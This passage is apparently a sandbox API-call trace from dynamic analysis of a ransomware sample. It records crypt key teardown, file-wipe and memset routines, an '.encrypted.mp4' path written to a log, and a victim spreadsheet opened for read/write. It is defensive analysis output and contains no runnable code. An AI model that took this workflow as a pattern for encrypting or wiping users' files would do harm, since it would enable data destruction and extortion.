wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.795] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.795] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.801] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.801] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.801] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.801] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.801] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.802] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.802] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.802] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.802] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.802] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.802] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.803] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.804] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.805] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.805] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.806] CharLowerBuffW (in: lpsz="byte[92451]", cchLength=0xb | out: lpsz="byte[92451]") returned 0xb [0022.807] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.807] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.807] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.807] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.807] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.807] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.808] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.808] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.808] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.809] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.809] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.810] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.810] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1307) returned 1 [0022.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.810] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x51b, lpOverlapped=0x0) returned 1 [0022.810] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x51b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.810] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1307) returned 1 [0022.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\n", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0022.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\n", cchWideChar=62, lpMultiByteStr=0xe8f4051090, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\n", lpUsedDefaultChar=0x0) returned 62 [0022.811] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40510e0*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40510e0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3d, lpOverlapped=0x0) returned 1 [0022.811] CloseHandle (hObject=0x188) returned 1 [0022.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.813] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.813] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.813] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.813] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.813] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.814] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.814] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178400, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.815] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.815] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.ods", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0022.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.ods", cchWideChar=46, lpMultiByteStr=0xe8f404be10, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.ods", lpUsedDefaultChar=0x0) returned 46 [0022.816] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.ods" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\i0uzhq1vo1kg.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=46, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0022.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=46, lpWideCharStr=0xe8f4062aa0, cchWideChar=46 | out: 